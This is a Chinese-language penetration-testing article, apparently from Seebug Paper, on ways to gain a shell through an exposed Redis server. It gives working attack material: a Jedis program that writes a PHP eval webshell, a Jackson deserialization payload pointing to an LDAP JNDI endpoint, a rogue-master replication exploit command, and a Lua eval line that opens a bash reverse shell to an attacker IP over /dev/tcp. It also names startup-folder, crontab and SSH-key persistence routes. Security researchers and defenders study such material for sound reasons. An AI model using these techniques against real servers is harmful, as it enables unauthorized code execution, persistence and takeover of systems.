作者:淺藍
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送!
投稿郵箱:paper@seebug.org
在我以往對 redis 服務的滲透經驗中總結了以下幾點可以 getshell 的方法。
- 寫文件
- Windows
- 開機自啟動目錄
- Linux
- crontab
- SSH key
- webshell
- Windows
- 反序列化
- java 反序列化
- jackson
- fastjson
- jdk/Hessian 反序列化
- python 反序列化
- php 反序列化
- java 反序列化
- 主從復制 RCE
- Lua RCE
下面我會逐一對這幾種redis getshell的方法展開講解
寫文件
寫文件這個功能其實就是通過修改 redis 的 dbfilename、dir 配置項。
通常來說掌控了寫文件也就完成了 rce 的一半。
這幾種寫文件來 getshell 的方式也是最有效最簡單的。
寫開機自啟動
在 Windows 系統中有一個特殊的目錄,在這個目錄下的文件在開機的時候都會被運行。
<SCRIPT Language="JScript">new ActiveXObject("WScript.Shell").run("calc.exe");</SCRIPT>
我把這段JS執行 calc 命令的代碼寫到了該目錄下
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\exp.hta
當系統啟動時就會隨之運行,從而執行攻擊者的惡意代碼。

crontab
在 linux 系的系統有著定時任務的功能,只要文件可以寫到定時任務目錄里就可以執行系統命令。
/var/spool/cron/用戶名
/var/spool/cron/crontabs/用戶名
/etc/crontab
/etc/cron.d/xxx
注意:有些系統對 crontab 的文件內容的校驗比較嚴格可能會導致無法執行定時任務。

SSH Key
linux 系統使用 ssh 的用戶目錄下都會有一個隱藏文件夾/.ssh/。
只要把我們的公鑰寫在對方的 .ssh/authorized_keys 文件里再去用 ssh 連接就不需服務器的賬號密碼了

webshell
這種方法就不用再多講了,只要知道 web 絕對路徑并且權限足夠就可以寫個 webshell。
寫 webshell 的代碼在 cn.b1ue.redis.filewrite.Webshell 類。
public class Webshell {
public static void main(String[] args) {
Jedis jedis = new Jedis("127.0.0.1", 6379);
jedis.flushAll();
jedis.set("x", "\n\n<?php eval($_REQUEST['x']); ?>\n\n");
jedis.configSet("dir","/home/web/wwwroot/");
jedis.configSet("dbfilename","x.php");
jedis.save();
jedis.close();
}
}
反序列化
我在看其他人寫的一些關于 redis getshell 的文章中都沒有提到過 redis 反序列化的問題,所以這篇文章重點寫一下。
其實 redis 反序列化本質上不是 redis 的漏洞,而是使用 redis 的應用反序列化了 redis 的數據而引起的漏洞,redis 本就是一個緩存服務器,用于存儲一些緩存對象,所以在很多場景下 redis 里存儲的都是各種序列化后的對象數據。
我舉例兩個常見場景
-
java 程序要將用戶登錄后的 session 對象序列化緩存起來,這種場景是最常見的。
-
程序員經常會把 redis 和 ORM 框架整合起來,一些頻繁被查詢的數據就會被序列化存儲到 redis 里,在被查詢時就會優先從 redis 里將對象反序列化一遍。
redis 一般存儲的都是 java 序列化對象,php、python 比較少見,我見得比較多的就是 fastjson 和 jackson 類型的序列化數據。jdk 原生的序列化數據也有。
因為要從 redis 反序列化對象,在對象類型非單一或少量的情況下程序員通常會選擇開啟 jackson 的 defaulttyping 和 fastjson 的 autotype,所以這也就是為什么可以通過反序列化 getshell 的原因。
序列化數據類型分辨起來也很簡單
- jackson:關注 json 對象是不是數組,第一個元素看起來像不像類名,例如
["com.blue.bean.User",xxx] - fastjson:關注有沒有
@type字段 - jdk:首先看 value 是不是 base64,如果是解碼后看里面有沒有 java 包名
所以以后如果再遇到 redis 服務器的時候寫文件沒法 getshell,不妨把 redis 的數據挑幾個看看,是不是符合序列化數據的特征。
fastjson 和 jackson 都一樣,所以只舉例一個
jackson 反序列化
查看 redis 里的數據是 jackson 的格式可以考慮將這些 value 改成惡意的反序列化代碼。當使用這個 redis 服務的 java 應用要從中取出緩存對象就會觸發反序列化。
為了更貼近真實場景,我這里寫了一個 springboot+redis+jackson 整合的 demo。
RedisConfig.java也是網上拷的,大多數程序員都是使用的這種方式與 redis 整合。
這里只用關注一個細節,在jackson2JsonRedisSerializer()方法中由于反序列化的對象類型的不確定性以及對 redis 的盲目信任通常都會開啟defaulttyping。

TestController.java 里寫了兩個接口,login 接口會把 User 對象直接存儲到 redis。home 接口會將 username 參數當做 key 去 redis 里查詢。
在“存儲”和“查詢”的時候實際上就是在“序列化”與“反序列化”。
正常情況下,邏輯是這樣的。
調用login接口 -> 序列化User對象并存儲到redis -> 調用home接口 -> 從redis取出數據并反序列化
假設我有 redis 的權限,那么我只要先調用登錄接口讓 login 接口序列化 User 對象到 redis,再把 redis 里的這條序列化數據篡改成準備好的惡意反序列化數據。當我再去訪問 home 接口時,從 redis 中取出來的 value 也就是被我篡改后的反序列化代碼,從而導致觸發了反序列化漏洞。
搞明白了這些邏輯,就可以做一個簡單的實驗。

這是正常情況下序列化與反序列化的情況,這里要做的就是把 key 為blue的值替換成惡意的反序列化代碼。
["com.zaxxer.hikari.HikariConfig",{"metricRegistry":"ldap://127.0.0.1:1099/Exploit"}]

當再次反序列化的時候就觸發了 JNDI 連接請求。
jdk 反序列化
jdk類型的反序列化數據也是在 redis 存儲內容中比較常見的。
開發者通常會把他們編碼成 base64 再存儲。
和 Jackson 一個道理,篡改 redis 里面的反序列化數據,把惡意的序列化字節碼存儲進去,等 java 應用使用到它的時候就會反序列化觸發漏洞。

主從復制 RCE
這是去年曝出來的 redis rce 方法,具體細節可以參考《15-redis-post-exploitation.pdf》。
exploit 參考這兩個 github 項目,Ridter/redis-rce、n0b0dyCN/redis-rogue-server
可影響版本范圍 <=5.0.5 ,我這里用redisrogue-server做演示,里面有已經編譯好的 exp.so
直接執行命令即可得到一個正向 shell
python redis-rogue-server.py --rhost 192.168.91.147 --lhost 192.168.91.1

Lua RCE
這種方法一直有流傳但沒有見到多少人寫過關于 Lua RCE 的資料。
redis Lua RCE 漏洞的 exploit 在dengxun@QAX-A-Team的一個 github 項目QAX-A-Team/redis_lua_exploit。
這里主要以演示 getshell 為主,關于這個漏洞的分析細節可以參考《在Redis中構建Lua虛擬機的穩定攻擊路徑》
我準備的環境如下。
Centos 6.5 + redis 2.6.16
下載QAX-A-Team/redis_lua_exploit,修改redis_lua.py里的 host 為目標 IP。

執行后得到這個提示說明可以執行命令了,通過redis-cli連接到目標 redis ,執行eval "tonumber('id', 8)" 0這段 lua,目標服務器就會執行id命令。

也可以直接反彈 shell。
eval "tonumber('/bin/bash -i >& /dev/tcp/192.168.91.1/2333 0>&1', 8)" 0
寫在最后
我已將上文用到的代碼上傳到了 github,請參考iSafeBlue/redis-rce。
參考:
- iSafeBlue/redis-rce
- QAX-A-Team/redis_lua_exploit
- 《在Redis中構建Lua虛擬機的穩定攻擊路徑》
- n0b0dyCN/redis- ogue-server
- Ridter/redis-rce
- 《15-redis-post-exploitation.pdf》
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1169/